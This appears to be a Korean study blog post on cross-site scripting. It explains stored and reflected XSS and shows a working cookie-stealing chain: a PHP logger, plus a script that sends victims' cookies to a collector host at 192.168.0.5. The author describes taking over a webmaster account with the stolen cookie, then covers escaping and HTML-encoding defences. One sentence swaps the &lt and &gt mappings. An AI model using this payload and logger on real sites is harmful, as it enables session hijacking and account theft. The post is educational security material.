My Study/Web

XSS(Cross Site Scripting)

  XSS(Cross Site Scripting)는 보안에 취약한 게시판이나 웹 메일 등에 악의적인 스크립트를 삽입하여 사용자에게 개인 정보 및 쿠키 등을 특정 사이트로 전송시키는 공격 방법이다. 또한 XSS는 서버에 대한 공격이 아닌 사용자를 대상으로 하는 공격이다. OWASP TOP 10 2013에서 뽑힐 정도로 빈도가 많이 발생하고, 보안상 영향을 크게 줄 수 있는 공격임으로 관리자는 반드시 보안을 해야한다. 


[OWASP 2013 3위인 XSS]



  

 

  XSS는 웹 어플리케이션에 따라 2가지 방식으로 나뉜다.

 

  1.Stored XSS

게시판 또는 자료실과 같이 사용자가 글을 저장할 수 있는 부분에 스크립트 코드를 입력하는 방법으로서 다른 사용자가 게시물 또는 자료를 열람하는 순간 공격자가 입력해둔 스크립트가 실행되어 일반 사용자의 쿠키나 개인 정보가 해커에게 유출된다.



  2.Reflected XSS

Stored XSS와 다르게 웹에 저장하여 하는 방식이 아닌  특정 URL로 거치게 되어 스크립트가 실행하게 하는 방식이다





[XSS에 취약한 홈페이지]


  위 사진은 아래 코드를 쳤을 때 나오는 창이다.


<script>alert("ERAM")</script>

  이런 간단한 코드가 나올 경우 해당 사이트는  XSS에 매우 취약한 사이트이며 개인정보가 유출당하기 쉬운 홈페이지이니 사용자의 주의가 필요하다.


  이번엔 사용자의 쿠키 값을 창으로 띄우는 코드를 쳐보자.


<script>alert(document.cookie)</script>


  [사용자의 쿠키값]


  이것을 응용하여 Reflect XSS를 이용하여 쿠키값을 빼오는 코드를 작성해보자.

  먼저 쿠키값을 빼오는 페이지를 작성해보자.


<?

$cookie=$_GET['data'];

$atime=date("y-m-d H:i:s");

$log=fopen("cookie.txt","a");            //쿠키값을 저장할 파일, 저장할 주소가 필요하다. (APM SETUP 기준 htdocs 폴더)

fwrite($log,$atime." ".$cookie."\r\n");  //쿠키값을 빼오면 개행

fclose($log);

echo "<img src=http://192.168.0.5/hack.gif width=500 height=500></img>";  //해킹 의심을 없애기 위한 이미지

?> 


  이번엔 글에 페이지로 이동되는 스크립트로 짜보자.


<script>window.open("http://192.168.0.5/xss.php?data="+document.cookie,"small","width=550,height=550,scrollbars=no,menubar=no")</script>


  만약 운영자가 스크립트가 짜여있는 글을 클릭하면 아래와 같이 뜨면서 지정한 텍스트 파일에 쿠키값이 저장이 된다

[이미지 창을 띄움]


[data.txt에 저장된 쿠키 값]


  이것을 쿠키값을 변경하는 툴로 변경하여 들어가면 webmaster에 접속된 것을 확인 할 수있다.



[마이 페이지에서 확인한 webmaster 계정]




  이번엔 XSS 보안 방법에 대해서 알아보자. XSS는 대표 태그인 <script></script> 태그나  <IMG SRC ...> 태그 등 HTML 코드는 '<' '>' 가 반드시 들어감으로 '<'  '>' 를 다른 문자로 치환하거나 아니면 HTML 태그 전부를 인코딩하면 된다.


  먼저 '<'  '>'를 다른 문자로 치환하는 방식을 알아보자.


content = ConvertTohtml(content)

content = replace(content,"'","''")

content = replace(content ,"&","&amp;")

content = replace(content ,">","&gt;")

content = replace(content ,"<","&lt;")


  '<' 를 &gt로  '>'를 &lt 로 치환하여 스크립트가 성립되지 않게 한다. 또한 허용되는 태그는 원래 형태로 다시 변환시켜준다.


memo=replace()(memo,"&lt;P&gt;","<P>")

memo=replace()(memo,"&lt;p&gt;","<p>")

memo=replace()(memo,"&lt;BR&gt;","<BR>")

memo=replace()(memo,"&lt;br&gt;","<br>")


  두번째로는 HTML 태그 전부 인코딩하는 방법이다. 


contents = Server.HTMLEncode(Request("contents"))


위 코드를 사용하면 인코딩되어 그대로 노출 됨으로서 스크립트가 성립되지 않는다.


,

최근 댓글

최근 트랙백

알림

이 블로그는 구글에서 제공한 크롬에 최적화 되어있고, 네이버에서 제공한 나눔글꼴이 적용되어 있습니다.